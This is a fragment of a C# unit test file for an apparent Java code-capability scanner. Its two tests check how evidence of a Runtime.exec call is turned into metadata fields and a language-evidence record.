||||
[Fact]
|
||||
public void Evidence_CreateMetadata_IncludesAllFields()
|
||||
{
|
||||
var evidence = new JavaCapabilityEvidence(
|
||||
CapabilityKind.Exec,
|
||||
"Test.java",
|
||||
10,
|
||||
"Runtime.exec",
|
||||
snippet: "Runtime.getRuntime().exec(cmd);",
|
||||
confidence: 0.95f,
|
||||
risk: CapabilityRisk.Critical);
|
||||
|
||||
var metadata = evidence.CreateMetadata().ToDictionary(kv => kv.Key, kv => kv.Value);
|
||||
|
||||
Assert.Equal("exec", metadata["capability.kind"]);
|
||||
Assert.Equal("Test.java:10", metadata["capability.source"]);
|
||||
Assert.Equal("Runtime.exec", metadata["capability.pattern"]);
|
||||
Assert.Equal("critical", metadata["capability.risk"]);
|
||||
Assert.Equal("0.95", metadata["capability.confidence"]);
|
||||
Assert.Contains("Runtime.getRuntime()", metadata["capability.snippet"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Evidence_ToLanguageEvidence_ReturnsCorrectFormat()
|
||||
{
|
||||
var evidence = new JavaCapabilityEvidence(
|
||||
CapabilityKind.Exec,
|
||||
"Test.java",
|
||||
10,
|
||||
"Runtime.exec");
|
||||
|
||||
var langEvidence = evidence.ToLanguageEvidence();
|
||||
|
||||
Assert.Equal(LanguageEvidenceKind.Metadata, langEvidence.Kind);
|
||||
Assert.Equal("Test.java", langEvidence.Source);
|
||||
Assert.Equal("line:10", langEvidence.Locator);
|
||||
Assert.Equal("Exec:Runtime.exec", langEvidence.Value);
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
Reference in New Issue
Block a user